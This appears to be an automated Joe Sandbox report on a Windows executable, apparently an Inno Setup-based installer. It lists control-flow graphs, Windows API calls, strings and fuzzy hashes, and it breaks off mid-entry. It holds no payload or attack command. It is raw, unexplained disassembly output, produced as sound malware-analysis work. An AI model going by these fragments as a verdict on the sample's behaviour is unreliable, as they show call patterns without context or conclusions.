                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Directory$AddressEnvironmentFolderFreeHandleKnownModulePathProcSystemTaskVariableWindows
                                                                                                                                                                                                                                      • String ID: COMMAND.COM$Common Files$CommonFilesDir$Failed to get path of 64-bit Common Files directory$Failed to get path of 64-bit Program Files directory$ProgramFilesDir$SystemDrive$\Program Files$cmd.exe
                                                                                                                                                                                                                                      • API String ID: 3771764029-544719455
                                                                                                                                                                                                                                      • Opcode ID: 458afd9a1cda60bc5c06d2a3f17cd4b8a975594a1455dcf27ea3d462b6d04529
                                                                                                                                                                                                                                      • Instruction ID: 599f5abe96f02a195e24b8b9203061af68f55c26e596fa95a84979d127ba116b
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 458afd9a1cda60bc5c06d2a3f17cd4b8a975594a1455dcf27ea3d462b6d04529
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 84619134A00204ABDB10EBA5E8D2A9E7B65EB54308F90C57FE804A7396C73C9E44CF5D

                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                      control_flow_graph 1949 423874-42387e 1950 4239a7-4239ab 1949->1950 1951 423884-4238a6 call 41f3c4 GetClassInfoA 1949->1951 1954 4238d7-4238e0 GetSystemMetrics 1951->1954 1955 4238a8-4238bf RegisterClassA 1951->1955 1956 4238e2 1954->1956 1957 4238e5-4238ef GetSystemMetrics 1954->1957 1955->1954 1958 4238c1-4238d2 call 408cbc call 40311c 1955->1958 1956->1957 1960 4238f1 1957->1960 1961 4238f4-423950 call 403738 call 4062e8 call 403400 call 42364c SetWindowLongA 1957->1961 1958->1954 1960->1961 1972 423952-423965 call 424178 SendMessageA 1961->1972 1973 42396a-423998 GetSystemMenu DeleteMenu * 2 1961->1973 1972->1973 1973->1950 1975 42399a-4239a2 DeleteMenu 1973->1975 1975->1950
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                        • Part of subcall function 0041F3C4: VirtualAlloc.KERNEL32(00000000,00001000,00001000,00000040,?,00000000,0041EDA4,?,0042388F,00423C0C,0041EDA4), ref: 0041F3E2
                                                                                                                                                                                                                                      • GetClassInfoA.USER32(00400000,0042367C), ref: 0042389F
                                                                                                                                                                                                                                      • RegisterClassA.USER32(00499630), ref: 004238B7
                                                                                                                                                                                                                                      • GetSystemMetrics.USER32(00000000), ref: 004238D9
                                                                                                                                                                                                                                      • GetSystemMetrics.USER32(00000001), ref: 004238E8
                                                                                                                                                                                                                                      • SetWindowLongA.USER32(00410460,000000FC,0042368C), ref: 00423944
                                                                                                                                                                                                                                      • SendMessageA.USER32(00410460,00000080,00000001,00000000), ref: 00423965
                                                                                                                                                                                                                                      • GetSystemMenu.USER32(00410460,00000000,00000000,00400000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00423C0C,0041EDA4), ref: 00423970
                                                                                                                                                                                                                                      • DeleteMenu.USER32(00000000,0000F030,00000000,00410460,00000000,00000000,00400000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00423C0C,0041EDA4), ref: 0042397F
                                                                                                                                                                                                                                      • DeleteMenu.USER32(00000000,0000F000,00000000,00000000,0000F030,00000000,00410460,00000000,00000000,00400000,00000000,00000000,00000000,00000000,00000000,00000001), ref: 0042398C
                                                                                                                                                                                                                                      • DeleteMenu.USER32(00000000,0000F010,00000000,00000000,0000F000,00000000,00000000,0000F030,00000000,00410460,00000000,00000000,00400000,00000000,00000000,00000000), ref: 004239A2
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Menu$DeleteSystem$ClassMetrics$AllocInfoLongMessageRegisterSendVirtualWindow
                                                                                                                                                                                                                                      • String ID: |6B
                                                                                                                                                                                                                                      • API String ID: 183575631-3009739247
                                                                                                                                                                                                                                      • Opcode ID: 0318a091630d13b60d0a3e6aa49d41dd0f32c1053a4a49f7651c07b17dd5309d
                                                                                                                                                                                                                                      • Instruction ID: 5979ac727d64f3fe5c9a0a43452729076f54e0f9e4c251b9a4c28f9d6bed272f
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 0318a091630d13b60d0a3e6aa49d41dd0f32c1053a4a49f7651c07b17dd5309d
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: E63152B17402006AEB10AF69DC82F6A37989B14709F60017BFA44EF2D7C6BDED40876D

                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                      control_flow_graph 1977 47c968-47c9be call 42c3fc call 4035c0 call 47c62c call 4525d8 1986 47c9c0-47c9c5 call 453344 1977->1986 1987 47c9ca-47c9d9 call 4525d8 1977->1987 1986->1987 1991 47c9f3-47c9f9 1987->1991 1992 47c9db-47c9e1 1987->1992 1995 47ca10-47ca38 call 42e394 * 2 1991->1995 1996 47c9fb-47ca01 1991->1996 1993 47ca03-47ca0b call 403494 1992->1993 1994 47c9e3-47c9e9 1992->1994 1993->1995 1994->1991 1997 47c9eb-47c9f1 1994->1997 2003 47ca5f-47ca79 GetProcAddress 1995->2003 2004 47ca3a-47ca5a call 4078f4 call 453344 1995->2004 1996->1993 1996->1995 1997->1991 1997->1993 2005 47ca85-47caa2 call 403400 * 2 2003->2005 2006 47ca7b-47ca80 call 453344 2003->2006 2004->2003 2006->2005
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(72AE0000,SHGetFolderPathA), ref: 0047CA6A
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: AddressProc
                                                                                                                                                                                                                                      • String ID: Failed to get address of SHGetFolderPath function$Failed to get version numbers of _shfoldr.dll$Failed to load DLL "%s"$SHFOLDERDLL$SHGetFolderPathA$_isetup\_shfoldr.dll$ptI$shell32.dll$shfolder.dll
                                                                                                                                                                                                                                      • API String ID: 190572456-2576699960
                                                                                                                                                                                                                                      • Opcode ID: de0f38486c819f413c08132c2c10785360ce7bb1d082894e1dd7e5610f115569
                                                                                                                                                                                                                                      • Instruction ID: 1b7f257eac351b2865de88edbb479a2ab4f4c09eb1d5ad9e3bfc9d6f8503b50a
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: de0f38486c819f413c08132c2c10785360ce7bb1d082894e1dd7e5610f115569
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 66310E70A001099BCB00EB95D5D2AEEB7B5EB44305F50847BE404F7241D778AE45CBAD

                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                      control_flow_graph 2126 40631c-406336 GetModuleHandleA GetProcAddress 2127 406338 2126->2127 2128 40633f-40634c GetProcAddress 2126->2128 2127->2128 2129 406355-406362 GetProcAddress 2128->2129 2130 40634e 2128->2130 2131 406364-406366 SetProcessDEPPolicy 2129->2131 2132 406368-406369 2129->2132 2130->2129 2131->2132
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetModuleHandleA.KERNEL32(kernel32.dll,?,00498730), ref: 00406322
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 0040632F
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,SetSearchPathMode), ref: 00406345
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,SetProcessDEPPolicy), ref: 0040635B
                                                                                                                                                                                                                                      • SetProcessDEPPolicy.KERNEL32(00000001,00000000,SetProcessDEPPolicy,00000000,SetSearchPathMode,kernel32.dll,?,00498730), ref: 00406366
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: AddressProc$HandleModulePolicyProcess
                                                                                                                                                                                                                                      • String ID: SetDllDirectoryW$SetProcessDEPPolicy$SetSearchPathMode$kernel32.dll
                                                                                                                                                                                                                                      • API String ID: 3256987805-3653653586
                                                                                                                                                                                                                                      • Opcode ID: fb4db72500fb8039bf9e982fa136c472a352d03826636d66c2b82dec8efce00d
                                                                                                                                                                                                                                      • Instruction ID: 935c6a5f7b98c90e27654dc67135d8c1f882d2ad5d8c1b9d0efaf55941893a49
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: fb4db72500fb8039bf9e982fa136c472a352d03826636d66c2b82dec8efce00d
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 97E02D90380702ACEA1032B20D82F3B144C9B54B69B26543B7D56B51C7D9BDDD7059BD
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • SetWindowLongA.USER32(?,000000FC,?), ref: 00413664
                                                                                                                                                                                                                                      • GetWindowLongA.USER32(?,000000F0), ref: 0041366F
                                                                                                                                                                                                                                      • GetWindowLongA.USER32(?,000000F4), ref: 00413681
                                                                                                                                                                                                                                      • SetWindowLongA.USER32(?,000000F4,?), ref: 00413694
                                                                                                                                                                                                                                      • SetPropA.USER32(?,00000000,00000000), ref: 004136AB
                                                                                                                                                                                                                                      • SetPropA.USER32(?,00000000,00000000), ref: 004136C2
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: LongWindow$Prop
                                                                                                                                                                                                                                      • String ID: 3A$yA
                                                                                                                                                                                                                                      • API String ID: 3887896539-3278460822
                                                                                                                                                                                                                                      • Opcode ID: d9856cee796f57cc1685d9958f98130356579251106e4d85d69cc018d86e5275
                                                                                                                                                                                                                                      • Instruction ID: bcb4e109f9bb3244d1d15a250a8b19338fc20a7c4ef9bfc7c396c8b3ff51cb63
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: d9856cee796f57cc1685d9958f98130356579251106e4d85d69cc018d86e5275
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 8C22D06508E3C05FE31B9B74896A5D57FA0EE13325B1D45DFC4C28B1A3D21E8A8BC71A

                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                      control_flow_graph 2265 42f560-42f56a 2266 42f574-42f5b1 call 402b30 GetActiveWindow GetFocus call 41eea4 2265->2266 2267 42f56c-42f56f call 402d30 2265->2267 2273 42f5c3-42f5cb 2266->2273 2274 42f5b3-42f5bd RegisterClassA 2266->2274 2267->2266 2275 42f652-42f66e SetFocus call 403400 2273->2275 2276 42f5d1-42f602 CreateWindowExA 2273->2276 2274->2273 2276->2275 2278 42f604-42f648 call 42427c call 403738 CreateWindowExA 2276->2278 2278->2275 2284 42f64a-42f64d ShowWindow 2278->2284 2284->2275
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetActiveWindow.USER32 ref: 0042F58F
                                                                                                                                                                                                                                      • GetFocus.USER32 ref: 0042F597
                                                                                                                                                                                                                                      • RegisterClassA.USER32(004997AC), ref: 0042F5B8
                                                                                                                                                                                                                                      • CreateWindowExA.USER32(00000000,TWindowDisabler-Window,0042F68C,88000000,00000000,00000000,00000000,00000000,00000000,00000000,00400000,00000000), ref: 0042F5F6
                                                                                                                                                                                                                                      • CreateWindowExA.USER32(00000000,TWindowDisabler-Window,00000000,80000000,00000000,00000000,00000000,00000000,61736944,00000000,00400000,00000000), ref: 0042F63C
                                                                                                                                                                                                                                      • ShowWindow.USER32(00000000,00000008,00000000,TWindowDisabler-Window,00000000,80000000,00000000,00000000,00000000,00000000,61736944,00000000,00400000,00000000,00000000,TWindowDisabler-Window), ref: 0042F64D
                                                                                                                                                                                                                                      • SetFocus.USER32(00000000,00000000,0042F66F,?,?,?,00000001,00000000,?,004581A2,00000000,0049B628), ref: 0042F654
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Window$CreateFocus$ActiveClassRegisterShow
                                                                                                                                                                                                                                      • String ID: TWindowDisabler-Window
                                                                                                                                                                                                                                      • API String ID: 3167913817-1824977358
                                                                                                                                                                                                                                      • Opcode ID: af2d58cb1d61aa5294d5b80584b5773ea49d3efeec85bd27a4eae10aec25b275
                                                                                                                                                                                                                                      • Instruction ID: c3989f54cd535b42bfd745bd8d6279a550c1ea008e6f4be51b2d228796931bcd
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: af2d58cb1d61aa5294d5b80584b5773ea49d3efeec85bd27a4eae10aec25b275
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: B021A170740710BAE310EF66AD43F1A76B8EB04B44F91853BF604AB2E1D7B86D0586AD

                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                      control_flow_graph 2285 4531f0-453241 GetModuleHandleA GetProcAddress GetModuleHandleA GetProcAddress 2286 453243-45324a 2285->2286 2287 45324c-45324e 2285->2287 2286->2287 2288 453250 2286->2288 2289 453252-453288 call 42e394 call 42e8c8 call 403400 2287->2289 2288->2289
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetModuleHandleA.KERNEL32(kernel32.dll,Wow64DisableWow64FsRedirection,00000000,00453289,?,?,?,?,00000000,?,00498776), ref: 00453210
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00453216
                                                                                                                                                                                                                                      • GetModuleHandleA.KERNEL32(kernel32.dll,Wow64RevertWow64FsRedirection,00000000,kernel32.dll,Wow64DisableWow64FsRedirection,00000000,00453289,?,?,?,?,00000000,?,00498776), ref: 0045322A
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00453230
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: AddressHandleModuleProc
                                                                                                                                                                                                                                      • String ID: Wow64DisableWow64FsRedirection$Wow64RevertWow64FsRedirection$kernel32.dll$shell32.dll
                                                                                                                                                                                                                                      • API String ID: 1646373207-2130885113
                                                                                                                                                                                                                                      • Opcode ID: 460e23cb00cf3424ad6d0c49a1f828097ca48bff1b05d8589e040c86aeca4b16
                                                                                                                                                                                                                                      • Instruction ID: 0cfad7ca53bf4133c716031d63a26ec494c9be7874946ed143d2344feace3e75
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 460e23cb00cf3424ad6d0c49a1f828097ca48bff1b05d8589e040c86aeca4b16
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 9F01D870240B04BED3016F63AD12F563A58E755B5BF5044BBFC1496582C77C4A088EAD
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • SHGetFileInfo.SHELL32(c:\directory,00000010,?,00000160,00001010), ref: 00467097
                                                                                                                                                                                                                                      • ExtractIconA.SHELL32(00400000,00000000,?), ref: 004670BD
                                                                                                                                                                                                                                        • Part of subcall function 00466F34: DrawIconEx.USER32(00000000,00000000,00000000,00000000,00000020,00000020,00000000,00000000,00000003), ref: 00466FCC
                                                                                                                                                                                                                                        • Part of subcall function 00466F34: DestroyCursor.USER32(00000000), ref: 00466FE2
                                                                                                                                                                                                                                      • ExtractIconA.SHELL32(00400000,00000000,00000027), ref: 00467114
                                                                                                                                                                                                                                      • SHGetFileInfo.SHELL32(00000000,00000000,?,00000160,00001000), ref: 00467175
                                                                                                                                                                                                                                      • ExtractIconA.SHELL32(00400000,00000000,?), ref: 0046719B
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Icon$Extract$FileInfo$CursorDestroyDraw
                                                                                                                                                                                                                                      • String ID: c:\directory$shell32.dll
                                                                                                                                                                                                                                      • API String ID: 3376378930-1375355148
                                                                                                                                                                                                                                      • Opcode ID: 6d041171d1007e38f1423e999fca6c8345fae3a72a3914b9ee39d1bb44a6fd6f
                                                                                                                                                                                                                                      • Instruction ID: 28e44f0b0ade20fd2fa41990bb26b25d2b6273e6e4b8387af8825f96a0abaac4
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 6d041171d1007e38f1423e999fca6c8345fae3a72a3914b9ee39d1bb44a6fd6f
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 65517E70604204AFD710DF65CD89FDFB7E8EB49308F1081A7F8089B351D6389E81CA69
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • RegisterClipboardFormatA.USER32(commdlg_help), ref: 00430948
                                                                                                                                                                                                                                      • RegisterClipboardFormatA.USER32(commdlg_FindReplace), ref: 00430957
                                                                                                                                                                                                                                      • GetCurrentThreadId.KERNEL32 ref: 00430971
                                                                                                                                                                                                                                      • GlobalAddAtomA.KERNEL32(00000000), ref: 00430992
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: ClipboardFormatRegister$AtomCurrentGlobalThread
                                                                                                                                                                                                                                      • String ID: WndProcPtr%.8X%.8X$commdlg_FindReplace$commdlg_help
                                                                                                                                                                                                                                      • API String ID: 4130936913-2943970505
                                                                                                                                                                                                                                      • Opcode ID: 8a088dfdc0b2c62b7d21c5c596ec815df7ae76573c78c741c8a86d6eee6cb681
                                                                                                                                                                                                                                      • Instruction ID: 0bd92e6c8c1c5a5b8444157758b44b4e11dae02c37acc47d2edddbd1fb793b69
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 8a088dfdc0b2c62b7d21c5c596ec815df7ae76573c78c741c8a86d6eee6cb681
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 22F012B0458340DEE300EB65994271E7BD0EF58718F50467FF498A6392D7795904CB5F
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • FindNextFileA.KERNEL32(000000FF,?,00000000,00472199,?,00000000,?,0049C1DC,00000000,00472389,?,00000000,?,00000000,?,00472555), ref: 00472175
                                                                                                                                                                                                                                      • FindClose.KERNEL32(000000FF,004721A0,00472199,?,00000000,?,0049C1DC,00000000,00472389,?,00000000,?,00000000,?,00472555,?), ref: 00472193
                                                                                                                                                                                                                                      • FindNextFileA.KERNEL32(000000FF,?,00000000,004722BB,?,00000000,?,0049C1DC,00000000,00472389,?,00000000,?,00000000,?,00472555), ref: 00472297
                                                                                                                                                                                                                                      • FindClose.KERNEL32(000000FF,004722C2,004722BB,?,00000000,?,0049C1DC,00000000,00472389,?,00000000,?,00000000,?,00472555,?), ref: 004722B5
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Find$CloseFileNext
                                                                                                                                                                                                                                      • String ID: &&G$&&G
                                                                                                                                                                                                                                      • API String ID: 2066263336-852616326
                                                                                                                                                                                                                                      • Opcode ID: 53d573c3283eea8276722ae00e783839c534cad26cf1d76589be1e10efaeed4f
                                                                                                                                                                                                                                      • Instruction ID: 5d8f9e8498e1fb85c1a49ff99105bc28d4ff0fd985b73b461b66a4ef7da0b053
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 53d573c3283eea8276722ae00e783839c534cad26cf1d76589be1e10efaeed4f
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: F0C14C3490424D9FCF11DFA5C981BDEBBB9FF09304F5085AAE908A3291D7789A45CF64
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetLastError.KERNEL32(?,00000044,00000000,00000000,04000000,00000000,00000000,00000000,?,COMMAND.COM" /C ,?,0045522C,0045522C,?,0045522C,00000000), ref: 004551BA
